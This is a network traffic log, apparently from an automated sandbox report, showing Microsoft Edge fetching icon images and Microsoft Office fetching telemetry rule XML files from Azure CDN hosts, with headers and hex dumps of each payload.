2024-10-31 02:04:32 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:32 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020432Z-16849878b78j5kdg3dndgqw0vg0000000akg00000000dde5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49864	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:32 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: af3b375f-901e-000f-5439-2b85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020432Z-15b8d89586ff5l62aha9080wv00000000a6g00000000b1pz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020432Z-16849878b78wv88bk51myq5vxc000000093000000000ned0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 082aec87-f01e-003c-0a0e-2b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020432Z-15b8d89586fnfb49yv03rfgz1c00000000hg00000000415e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020432Z-16849878b78g2m84h2v9sta29000000007tg00000000c7a6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 045b9726-001e-0014-4db7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020432Z-17c5cb586f6wmhkn5q6fu8c5ss00000008cg000000007g87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020432Z-15b8d89586fbmg6qpd9yf8zhm000000003s000000000e5ek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49879	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:33 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020433Z-16849878b78g2m84h2v9sta29000000007vg000000004zta Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49880	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:33 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 5c3e2da1-c01e-001c-7839-2bb010000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020433Z-159b85dff8fq4v8mhC1DFW70kw00000001cg000000006qzq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: deb87e8e-601e-0001-3532-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020433Z-159b85dff8fsgrl7hC1DFWadan00000001e000000000b70f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020433Z-16849878b78p8hrf1se7fucxk800000009tg0000000079gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
